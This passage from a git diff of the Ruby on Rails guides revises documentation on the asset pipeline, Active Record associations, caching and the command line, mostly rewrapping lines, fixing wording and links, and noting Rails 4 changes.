+"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js":
+"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
+"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
+"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
+"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
```
-The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).
+The default location for the manifest is the root of the location specified in
+`config.assets.prefix` ('/assets' by default).
-NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).
+NOTE: If there are missing precompiled files in production you will get an
+`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`
+exception indicating the name of the missing file(s).
#### Far-future Expires Header
-Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
+Precompiled assets exist on the file system and are served directly by your web
+server. They do not have far-future headers by default, so to get the benefit of
+fingerprinting you'll have to update your server configuration to add those
+headers.
For Apache:
```apache
-# The Expires* directives requires the Apache module `mod_expires` to be enabled.
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
- Header unset ETag
- FileETag None
+ Header unset ETag FileETag None
# RFC says only cache for 1 year
- ExpiresActive On
- ExpiresDefault "access plus 1 year"
+ ExpiresActive On ExpiresDefault "access plus 1 year"
</Location>
```
@@ -515,7 +798,13 @@ location ~ ^/assets/ {
#### GZip Compression
-When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
+When files are precompiled, Sprockets also creates a
+[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web
+servers are typically configured to use a moderate compression ratio as a
+compromise, but since precompilation happens once, Sprockets uses the maximum
+compression ratio, thus reducing the size of the data transfer to the minimum.
+On the other hand, web servers can be configured to serve compressed content
+directly from disk, rather than deflating non-compressed files themselves.
Nginx is able to do this automatically enabling `gzip_static`:
@@ -528,25 +817,32 @@ location ~ ^/(assets)/ {
}
```
-This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
+This directive is available if the core module that provides this feature was
+compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have
+the module compiled. Otherwise, you may need to perform a manual compilation:
```bash
./configure --with-http_gzip_static_module
```
-If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+If you're compiling nginx with Phusion Passenger you'll need to pass that option
+when prompted.
-A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
+A robust configuration for Apache is possible but tricky; please Google around.
+(Or help update this Guide if you have a good configuration example for Apache.)
### Local Precompilation
-There are several reasons why you might want to precompile your assets locally. Among them are:
+There are several reasons why you might want to precompile your assets locally.
+Among them are:
* You may not have write access to your production file system.
-* You may be deploying to more than one server, and want to avoid the duplication of work.
+* You may be deploying to more than one server, and want to avoid
+duplication of work.
* You may be doing frequent deploys that do not include asset changes.
-Local compilation allows you to commit the compiled files into source control, and deploy as normal.
+Local compilation allows you to commit the compiled files into source control,
+and deploy as normal.
There are two caveats:
@@ -559,15 +855,23 @@ In `config/environments/development.rb`, place the following line:
config.assets.prefix = "/dev-assets"
```
-The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again.
+The `prefix` change makes Sprockets use a different URL for serving assets in
+development mode, and pass all requests to Sprockets. The prefix is still set to
+`/assets` in the production environment. Without this change, the application
+would serve the precompiled assets from `/assets` in development, and you would
+not see any local changes until you compile assets again.
-You will also need to ensure that any compressors or minifiers are available on your development system.
+You will also need to ensure any necessary compressors or minifiers are
+available on your development system.
-In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
+In practice, this will allow you to precompile locally, have those files in your
+working tree, and commit those files to source control when needed. Development
+mode will work as expected.
### Live Compilation
-In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+In some circumstances you may wish to use live compilation. In this mode all
+requests for assets in the pipeline are handled by Sprockets directly.
To enable this option set:
@@ -575,13 +879,21 @@ To enable this option set:
config.assets.compile = true
```
-On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+On the first request the assets are compiled and cached as outlined in
+development above, and the manifest names used in the helpers are altered to
+include the MD5 hash.
-Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This
+signals all caches between your server and the client browser that this content
+(the file served) can be cached for 1 year. The effect of this is to reduce the
+number of requests for this asset from your server; the asset has a good chance
+of being in the local browser cache or some intermediate cache.
-This mode uses more memory, performs more poorly than the default and is not recommended.
+This mode uses more memory, performs more poorly than the default and is not
+recommended.
-If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+If you are deploying a production application to a system without any
+pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
```ruby
group :production do
@@ -591,36 +903,48 @@ end
### CDNs
-If your assets are being served by a CDN, ensure they don't stick around in
-your cache forever. This can cause problems. If you use
+If your assets are being served by a CDN, ensure they don't stick around in your
+cache forever. This can cause problems. If you use
`config.action_controller.perform_caching = true`, Rack::Cache will use
`Rails.cache` to store assets. This can cause your cache to fill up quickly.
-Every cache is different, so evaluate how your CDN handles caching and make
-sure that it plays nicely with the pipeline. You may find quirks related to
-your specific set up, you may not. The defaults nginx uses, for example,
-should give you no problems when used as an HTTP cache.
+Every cache is different, so evaluate how your CDN handles caching and make sure
+that it plays nicely with the pipeline. You may find quirks related to your
+specific set up, you may not. The defaults nginx uses, for example, should give
+you no problems when used as an HTTP cache.
Customizing the Pipeline
------------------------
### CSS Compression
-There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
+One of the options for compressing CSS is YUI. The [YUI CSS
+compressor](http://yui.github.io/yuicompressor/css.html) provides
+minification.
-The following line enables YUI compression, and requires the `yui-compressor` gem.
+The following line enables YUI compression, and requires the `yui-compressor`
+gem.
```ruby
config.assets.css_compressor = :yui
```
+The other option for compressing CSS if you have the sass-rails gem installed is
-The `config.assets.compress` must be set to `true` to enable CSS compression.
+```ruby
+config.assets.css_compressor = :sass
+```
### JavaScript Compression
-Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
+Possible options for JavaScript compression are `:closure`, `:uglifier` and
+`:yui`. These require the use of the `closure-compiler`, `uglifier` or
+`yui-compressor` gems, respectively.
-The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier).
+This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for
+NodeJS) in Ruby. It compresses your code by removing white space and comments,
+shortening local variable names, and performing other micro-optimizations such
+as changing `if` and `else` statements to ternary operators where possible.
The following line invokes `uglifier` for JavaScript compression.
@@ -628,13 +952,21 @@ The following line invokes `uglifier` for JavaScript compression.
config.assets.js_compressor = :uglifier
```
-Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme)
+supported runtime in order to use `uglifier`. If you are using Mac OS X or
+Windows you have a JavaScript runtime installed in your operating system.
-NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
+NOTE: The `config.assets.compress` initialization option is no longer used in
+Rails 4 to enable either CSS or JavaScript compression. Setting it will have no
+effect on the application. Instead, setting `config.assets.css_compressor` and
+`config.assets.js_compressor` will control compression of CSS and JavaScript
+assets.
### Using Your Own Compressor
-The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
+The compressor config settings for CSS and JavaScript also take any object.
+This object must have a `compress` method that takes a string as the sole
+argument and it must return a string.
```ruby
class Transformer
@@ -661,60 +993,96 @@ This can be changed to something else:
config.assets.prefix = "/some_other_path"
```
-This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource.
+This is a handy option if you are updating an older project that didn't use the
+asset pipeline and already uses this path or you wish to use this path for
+a new resource.
### X-Sendfile Headers
-The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
+The X-Sendfile header is a directive to the web server to ignore the response
+from the application, and instead serve a specified file from disk. This option
+is off by default, but can be enabled if your server supports it. When enabled,
+this passes responsibility for serving the file to the web server, which is
+faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file)
+on how to use this feature.
-Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
+Apache and nginx support this option, which can be enabled in
+`config/environments/production.rb`:
```ruby
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
```
-WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).
+WARNING: If you are upgrading an existing application and intend to use this
+option, take care to paste this configuration option only into `production.rb`
+and any other environments you define with production behavior (not
+`application.rb`).
+
+TIP: For further details have a look at the docs of your production web server:
+- [Apache](https://tn123.org/mod_xsendfile/)
+- [Nginx](http://wiki.nginx.org/XSendfile)
Assets Cache Store
------------------
-The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`.
+The default Rails cache store will be used by Sprockets to cache assets in
+development and production. This can be changed by setting
+`config.assets.cache_store`:
```ruby
config.assets.cache_store = :memory_store
```
-The options accepted by the assets cache store are the same as the application's cache store.
+The options accepted by the assets cache store are the same as the application's
+cache store.
```ruby
config.assets.cache_store = :memory_store, { size: 32.megabytes }
```
+To disable the assets cache store:
+
+```ruby
+config.assets.configure do |env|
+ env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
+```
+
Adding Assets to Your Gems
--------------------------
Assets can also come from external sources in the form of gems.
-A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.
+A good example of this is the `jquery-rails` gem which comes with Rails as the
+standard JavaScript library gem. This gem contains an engine class which
+inherits from `Rails::Engine`. By doing this, Rails is informed that the
+directory for this gem may contain assets and the `app/assets`, `lib/assets` and
+`vendor/assets` directories of this engine are added to the search path of
+Sprockets.
Making Your Library or Gem a Pre-Processor
------------------------------------------
As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
-interface to different templating engines, your gem should just
-implement the Tilt template protocol. Normally, you would subclass
-`Tilt::Template` and reimplement `evaluate` method to return final
-output. Template source is stored at `@code`. Have a look at
+interface to different templating engines, your gem should just implement the
+Tilt template protocol. Normally, you would subclass `Tilt::Template` and
+reimplement the `prepare` method, which initializes your template, and the
+`evaluate` method, which returns the processed source. The original source is
+stored in `data`. Have a look at
[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
sources to learn more.
```ruby
module BangBang
class Template < ::Tilt::Template
+ def prepare
+ # Do any initialization here
+ end
+
# Adds a "!" to original template.
def evaluate(scope, locals, &block)
- "#{@code}!"
+ "#{data}!"
end
end
end
@@ -730,31 +1098,30 @@ Sprockets.register_engine '.bang', BangBang::Template
Upgrading from Old Versions of Rails
------------------------------------
-There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
+There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is
+moving the files from `public/` to the new locations. See [Asset
+Organization](#asset-organization) above for guidance on the correct locations
+for different file types.
-Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default
+JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js`
+into `app/assets` and it will be included automatically.
-The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+The third is updating the various environment files with the correct default
+options.
In `application.rb`:
```ruby
-# Enable the asset pipeline
-config.assets.enabled = true
-
# Version of your assets, change this if you want to expire all your assets
config.assets.version = '1.0'
-# Change the path that assets are served from
-# config.assets.prefix = "/assets"
+# Change the path that assets are served from config.assets.prefix = "/assets"
```
In `development.rb`:
```ruby
-# Do not compress assets
-config.assets.compress = false
-
# Expands the lines which load the assets
config.assets.debug = true
```
@@ -762,50 +1129,28 @@ config.assets.debug = true
And in `production.rb`:
```ruby
-# Compress JavaScripts and CSS
-config.assets.compress = true
-
-# Choose the compressors to use
-# config.assets.js_compressor = :uglifier
-# config.assets.css_compressor = :yui
+# Choose the compressors to use (if any) config.assets.js_compressor =
+# :uglifier config.assets.css_compressor = :yui
# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false
-# Generate digests for assets URLs.
+# Generate digests for assets URLs. This is planned for deprecation.
config.assets.digest = true
-# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-# config.assets.precompile += %w( search.js )
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added) config.assets.precompile += %w( search.js )
```
-You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.
+Rails 4 no longer sets default config values for Sprockets in `test.rb`, so
+`test.rb` now requires Sprockets configuration. The old defaults in the test
+environment are: `config.assets.compile = true`, `config.assets.compress =
+false`, `config.assets.debug = false` and `config.assets.digest = false`.
The following should also be added to `Gemfile`:
```ruby
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
- gem 'sass-rails', "~> 3.2.3"
- gem 'coffee-rails', "~> 3.2.1"
- gem 'uglifier'
-end
-```
-
-If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:
-
-```ruby
-# If you precompile assets before deploying to production, use this line
-Bundler.require *Rails.groups(:assets => %w(development test))
-# If you want your assets lazily compiled in production, use this line
-# Bundler.require(:default, :assets, Rails.env)
-```
-
-Instead of the generated version:
-
-```ruby
-# Require the gems listed in Gemfile, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+gem 'sass-rails', "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index c0e584a1c7..df38bd7321 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -40,7 +40,7 @@ end
@customer.destroy
```
-With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
```ruby
class Customer < ActiveRecord::Base
@@ -69,7 +69,7 @@ To learn more about the different types of associations, read the next section o
The Types of Associations
-------------------------
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
* `belongs_to`
* `has_one`
@@ -261,7 +261,10 @@ With `through: :sections` specified, Rails will now understand:
### The `has_one :through` Association
-A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
+that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
+For example, if each supplier has one account, and each account is associated with one account history, then the
+supplier model could look like this:
```ruby
class Supplier < ActiveRecord::Base
@@ -337,7 +340,7 @@ class CreateAssembliesAndParts < ActiveRecord::Migration
t.timestamps
end
- create_table :assemblies_parts do |t|
+ create_table :assemblies_parts, id: false do |t|
t.belongs_to :assembly
t.belongs_to :part
end
@@ -487,6 +490,19 @@ end
With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+In your migrations/schema, you will add a references column to the model itself.
+
+```ruby
+class CreateEmployees < ActiveRecord::Migration
+ def change
+ create_table :employees do |t|
+ t.references :manager
+ t.timestamps
+ end
+ end
+end
+```
+
Tips, Tricks, and Warnings
--------------------------
@@ -555,7 +571,7 @@ If you create an association some time after you build the underlying model, you
If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
-WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
@@ -715,7 +731,7 @@ The `belongs_to` association creates a one-to-one match with another model. In d
#### Methods Added by `belongs_to`
-When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
* `association(force_reload = false)`
* `association=(associate)`
@@ -861,8 +877,12 @@ end
Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
##### `:dependent`
+If you set the `:dependent` option to:
-If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
@@ -953,7 +973,7 @@ end
##### `includes`
-You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
```ruby
class LineItem < ActiveRecord::Base
@@ -1019,7 +1039,7 @@ The `has_one` association creates a one-to-one match with another model. In data
#### Methods Added by `has_one`
-When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
* `association(force_reload = false)`
* `association=(associate)`
@@ -1137,6 +1157,12 @@ Controls what happens to the associated object when its owner is destroyed:
* `:restrict_with_exception` causes an exception to be raised if there is an associated record
* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+It's necessary not to set or leave `:nullify` option for those associations
+that have `NOT NULL` database constraints. If you don't set `dependent` to
+destroy such associations you won't be able to change the associated object
+because initial associated object foreign key will be set to unallowed `NULL`
+value.
+
##### `:foreign_key`
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
@@ -1280,7 +1306,7 @@ The `has_many` association creates a one-to-many relationship with another model
#### Methods Added by `has_many`
-When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
* `collection(force_reload = false)`
* `collection<<(object, ...)`
@@ -1769,7 +1795,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi
#### Methods Added by `has_and_belongs_to_many`
-When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
* `collection(force_reload = false)`
* `collection<<(object, ...)`
@@ -1944,8 +1970,8 @@ While Rails uses intelligent defaults that will work well in most situations, th
```ruby
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, uniq: true,
- read_only: true
+ has_and_belongs_to_many :assemblies, autosave: true,
+ readonly: true
end
```
@@ -1957,6 +1983,7 @@ The `has_and_belongs_to_many` association supports these options:
* `:foreign_key`
* `:join_table`
* `:validate`
+* `:readonly`
##### `:association_foreign_key`
@@ -2171,7 +2198,7 @@ You're not limited to the functionality that Rails automatically builds into ass
class Customer < ActiveRecord::Base
has_many :orders do
def find_by_order_prefix(order_number)
- find_by_region_id(order_number[0..2])
+ find_by(region_id: order_number[0..2])
end
end
end
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index 1e196b0e42..b6423dd44e 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -30,13 +30,13 @@ config.action_controller.perform_caching = true
Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
-INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
### Action Caching
Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
-INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
### Fragment Caching
@@ -140,6 +140,26 @@ You can also combine the two schemes which is called "Russian Doll Caching":
It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
+### Low-Level Caching
+
+Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information.
+
+The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned.
+
+Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+
+```ruby
+class Product < ActiveRecord::Base
+ def competing_price
+ Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+ Competitor::API.find_price(id)
+ end
+ end
+end
+```
+
+NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
+
### SQL Caching
Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
@@ -189,7 +209,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T
There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
-* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
@@ -225,7 +245,7 @@ This is the default cache store implementation.
### ActiveSupport::Cache::MemCacheStore
-This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
@@ -301,7 +321,7 @@ Conditional GET support
Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
-They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
@@ -327,7 +347,7 @@ class ProductsController < ApplicationController
end
```
-Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
```ruby
class ProductsController < ApplicationController
@@ -338,7 +358,7 @@ class ProductsController < ApplicationController
end
```
-If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:
```ruby
class ProductsController < ApplicationController
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index 218b4dd39a..756c8f8b51 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,8 +1,6 @@
The Rails Command Line
======================
-Rails comes with every command line tool you'll need to
-
After reading this guide, you will know:
* How to create a Rails application.
@@ -58,8 +56,6 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin
The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
-
With no further work, `rails server` will run our new shiny Rails app:
```bash
@@ -69,9 +65,9 @@ $ rails server
=> Rails 4.0.0 application starting in development on http://0.0.0.0:3000
=> Call with -d to detach
=> Ctrl-C to shutdown server
-[2012-05-28 00:39:41] INFO WEBrick 1.3.1
-[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
-[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
+[2013-08-07 02:00:01] INFO WEBrick 1.3.1
+[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0]
+[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
```
